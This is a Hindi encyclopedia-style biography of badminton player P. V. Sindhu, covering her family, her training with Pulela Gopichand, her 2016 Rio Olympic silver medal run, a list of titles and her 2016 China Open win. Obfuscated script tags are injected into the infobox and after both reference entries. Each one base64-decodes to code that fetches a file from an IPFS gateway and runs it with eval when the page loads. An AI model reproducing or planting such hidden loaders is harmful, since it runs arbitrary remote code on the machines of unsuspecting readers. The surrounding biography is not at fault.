पी. वी. सिंधु

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पी. वी. सिंधु
पी. वी. सिंधु
पूरा नाम पुसरला वेंकट सिंधु
जन्म 5 जुलाई, 1995
जन्म भूमि हैदराबाद, आंध्र प्रदेश
अभिभावक पिता- पी. वी. रमण और माता- पी. विजया
कर्म भूमि भारत
खेल-क्षेत्र बैडमिंटन खिलाड़ी
पुरस्कार-उपाधि पद्मश्री, अर्जुन पुरस्कार
नागरिकता भारतीय
संबंधित लेख साइना नेहवाल, पुलेला गोपीचंद, बैडमिंटन
ऊँचाई 5 फ़ुट 10 इंच
हाथ प्रयोग दायाँ
अन्य जानकारी पी. वी. सिंधु ओलम्पिक खेलों में रजत पदक जीतने वाली भारत की पहली महिला खिलाड़ी हैं।
अद्यतन‎ <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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सिंधु की बड़ी बहन, पुलेला गोपीचंद, सिंधु की माँ और बच्ची सिंधु

परिचय

पी. वी. सिंधु का जन्म 5 जुलाई, 1995 को हैदराबाद, आंध्र प्रदेश में हुआ है। इनके पिता का नाम पी. वी. रमण और माता का नाम पी. विजया है। सिंधु के माता-पिता दोनों ही पेशेवर वॉलीबॉल खिलाड़ी रह चुके हैं। इनके पिता पी. वी. रमण को बॉलीबॉल के क्षेत्र में उनके उल्लेखनीय कार्य के लिए 2002 में भारत सरकार के प्रतिष्ठित 'अर्जुन पुरस्कार' से सम्मानित किया जा चुका है।

बैडमिंटन का चुनाव

माता-पिता दोनों ही पेशेवर वॉलीबॉल खिलाड़ी थे, किन्तु पी. वी. सिंधु ने 2001 के 'ऑल इंग्लैंड ओपन बैडमिंटन चैंपियन' बने पुलेला गोपीचंद से प्रभावित होकर बैडमिंटन को अपना कॅरियर चुना और महज आठ साल की उम्र से बैडमिंटन खेलना शुरू कर दिया। सिंधु ने सबसे पहले सिकंदराबाद में 'इंडियन रेलवे सिग्नल इंजीनियरिंग' और दूर संचार के बैडमिंटन कोर्ट में महबूब अली के मार्गदर्शन में बैडमिंटन की बुनियादी बातों को सीखा। इसके बाद वे पुलेला गोपीचंद के 'गोपीचंद बैडमिंटन अकादमी' में शामिल हो गईं। आगे चलकर मेहदीपट्टनम से इंटर्मेडिएट की परीक्षा उत्तीर्ण की।

रियो ओलम्पिक-2016 में रजत विजेता

भारत की अग्रणी महिला बैडमिंटन खिलाड़ी पी. वी. सिंधु ने ब्राजील की मेजबानी में खेले गये रियो ओलंपिक खेलों में 18 अगस्त, 2016 को महिला एकल वर्ग के फ़ाइनल में प्रवेश किया था। रियोसेंटर पवेलियन-4 में खेले गए सेमीफ़ाइनल मुकाबले में सिंधु ने छठी वरीयता प्राप्त खिलाड़ी जापान की निजोमी ओकुहारा को सीधे गेमों में 21-19, 21-10 से हराकर फ़ाइनल का टिकट पक्का किया था। सेमीफ़ाइनल में पी. वी. सिंधु ने पहले गेम में जबरदस्त प्रदर्शन किया और 10-6 की बढ़त ले ली। ओकुहारा की लाख कोशिशों के बावजूद भी सिंधु ने उन्हें आगे नहीं निकलने दिया और 27 मिनट में गेम 21-19 से अपने नाम किया। सिंधु ने दूसरे गेम की शुरुआत अच्छी नहीं की और वह 0-3 से पीछे थीं। 10वीं विश्व वरीयता प्राप्त सिंधु ने इसके बाद 5-5 से और 10-10 से बराबरी की। सिंधु ने इसके बाद चौंकाने वाली वापसी की और लगातार 11 अंक हासिल कर 21-10 से सेमीफ़ाइनल जीत लिया। यह गेम 22 मिनट चला।[1]

फ़ाइनल मैच

रजत पदक के साथ पी. वी. सिंधु

फ़ाइनल मैच रियोसेंटर पवेलियन के कोर्ट 1 पर खेला गया। महिला एकल के इस फ़ाइनल मैच में सिंधु को विश्व की नंबर एक शटलर स्पेन की कैरोलिना मरीन से 21-19, 12-21, 15-21 से शिकस्त झेलनी पड़ी। सिंधु ने ख़राब नहीं खेला, लेकिन मरीन ने अपना सर्वश्रेष्ठ देकर स्वर्ण पदक हासिल किया और सिंधु को रजत पदक से ही संतोष करना पड़ा। सिंधु भले ही यह मैच नहीं जीत सकीं, लेकिन उन्होंने करोड़ों भारतीयों का दिल जीता। पहली बार ओलम्पिक खेल रही पी. वी. सिंधु ने फ़ाइनल मैच के दबाव में शानदार प्रदर्शन किया और दिग्गज शटलर को पूरे समय चिंतित रखा। उन्होंने पहले गेम के मध्यकाल तक 6-11 से पिछड़ने के बाद दमदार वापसी की और पहला गेम 21-19 से जीता। सिंधु के पहला गेम जीतने पर कैरोलिना मरीन पूरी तरह हैरान रह गईं। सिंधु ने ग़ज़ब के हाफ स्मैश और ड्रॉप शॉट खेले। उन्होंने मरीन को बैक लाइन पर भेजकर काफ़ी परेशान किया और पहला गेम अपने नाम किया। दूसरे गेम में विश्व की नंबर एक शटलर मरीन ने अपनी योग्यता के अनुरूप प्रदर्शन किया और सिंधु को वापसी का कोई मौका नहीं दिया तथा गेम 21-12 से आसानी से जीत लिया। फ़ाइनल के निर्णायक सेट में सिंधु की शुरुआत ख़राब रही थी और वे 2-6 से पिछड़ रही थीं। हालांकि उन्होंने दमदार वापसी की और स्कोर 10-10 से बराबर कर दिया था। दोनों शटलरों के बीच तगड़ा मुकाबला खेला जा रहा था, लेकिन मरीन ने लय हासिल करते हुए ग़ज़ब का प्रदर्शन किया और बढ़त 20-14 की कर ली। सिंधु ने एक अंक और लिया, लेकिन मरीन ने जोरदार स्मैश मारकर मैच व स्वर्ण पदक अपने नाम कर लिया। पी. वी. सिंधु भले ही स्वर्ण नहीं जीत सकीं, किंतु उनका रजत पदक भी काफ़ी अहम है। वे ओलम्पिक खेलों में बैडमिंटन में पदक जीतने वाली भारत की प्रथम तथा सबसे युवा एथलीट हैं। उन्होंने रजक पदक जीतकर इतिहास रच दिया और देश का सम्मान बढ़ाया।

उल्लेखनीय तथ्य

  1. पी. वी. सिंधु के माता-पिता बॉलीवॉल के खिलाड़ी रह चुके हैं। उनके पिता को बॉलीवॉल में 'अर्जुन पुरस्कार' भी मिल चुका है।
  2. नामचीन बैडमिंटन खिलाड़ी पुलेला गोपीचंद की पी. वी. सिंधु जबर्दस्त फैन हैं। 2001 में जब गोपीचंद ने ऑल इंग्लैंड ओपेन बैडमिंटन चैंपियनशिप जीता तो सिंधु ने भी बैडमिंटन में ही कॅरियर बनाने का फैसला कर लिया था।
  3. पी. वी. सिंधु ने बैडमिंटन की शुरुआती ट्रेनिंग सिकंदराबाद में महबूब अली से ली और फिर बाद में 'पुलेला गोपीचंद बैडमिंटन एकेडमी' में प्रवेश लिया। गोपीचंद ही सिंधु के कोच हैं।
  4. 2012 में ही निंग चाइना मास्टर सुपर सीरीज में लंदन ओलंपिक की गोल्ड मेडलिस्ट ली झूरी को हराकर तहलका मचा दिया।
  5. पिछले तीन साल से 21 साल की सिंधु सुबह 4:15 बजे ही उठ जाती हैं और बैडमिंटन की प्रैक्टिस शुरू कर देती हैं। शुरुआत में सिंधू हर दिन घर से 56 किलोमीटर की दूरी तय कर बैडमिंटन कैंप में ट्रेनिंग के लिए जाती थीं।

उपलब्धियाँ

  • रजत पदक- 2016 में रियो ओलम्पिक एकल बैडमिंटन।
  • कांस्य पदक- 2009 में एशियन बैडमिंटन चैंपियनशिप।
  • विजेता- 2010 में ईरान में उन्होंने फेजर इंटरनेशनल बैडमिंटन चैलेंज का खिताब।
  • विजेता- 2012 में एशिया यूथ अंडर-19 चैंपियनशिप खिताब।
  • कांस्य पदक- 2013 में बीडब्ल्यूएफ वर्ल्ड चैंपियनशिप।
  • विजेता- 2013 में मलेशियन ओपेन।
  • कांस्य पदक- 2014 में उबेर कप।[2]

सम्मान और पुरस्कार

समाचार

पीवी सिंधु ने चाइना ओपन ख़िताब के साथ
20 नवंबर, 2016

सिंधु ने जीता चाइना ओपन ख़िताब

रियो ओलंपिक में सिल्वर मेडल जीतकर देश को गौरवान्वित करने के बाद पीवी सिंधु ने चाइना ओपन सुपर सीरीज के फाइनल में चीन की सुन यू को तीन गेम तक चले मुकाबले में हराकर पहला सुपर सीरीज ख़िताब अपने नाम किया। यह खिताबी जीत उनके लिए इसलिए भी ख़ास है, क्योंकि चाइना ओपन में इससे पहले 25 में से 23 बार चीनी खिलाड़ियों ने ही खिताब पर कब्जा किया था। सिंधु से पहले अब तक भारत की साइना नेहवाल और मलेशिया की मी चुंग वॉन्ग ही ऐसी गैर-चीनी खिलाड़ी रही हैं, जिन्होंने यह खिताब जीता था। सिंधु ने सुन यू को 21-11, 17-21 और 21-11 से हराया। किसी बड़े टूर्नामेंट में यह लगातार तीसरे साल हुआ है, जब कोई भारतीय महिला बैडमिंटन खिलाड़ी फाइनल खेली है, जबकि इनमें आमतौर पर चीनी खिलाड़ियों का बोलबाला रहता है। साल 2014 में साइना नेहवाल ने यह टूर्नामेंट जीता था, लेकिन 2015 में वह रनर अप रहीं थीं। इस प्रकार पीवी सिंधु चाइना ओपन जीतने वाली दूसरी भारतीय खिलाड़ी बन गई हैं।

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टीका-टिप्पणी और संदर्भ

  1. रियो ओलंपिक में पी वी सिंधू का रजत पक्का (हिंदी) आईबीएन खबर। अभिगमन तिथि: 19 अगस्त, 2016।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. पीवी सिंधु से जुड़ी 13 दिलचस्प बातें (हिंदी) pradesh18.com। अभिगमन तिथि: 19 अगस्त, 2016।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

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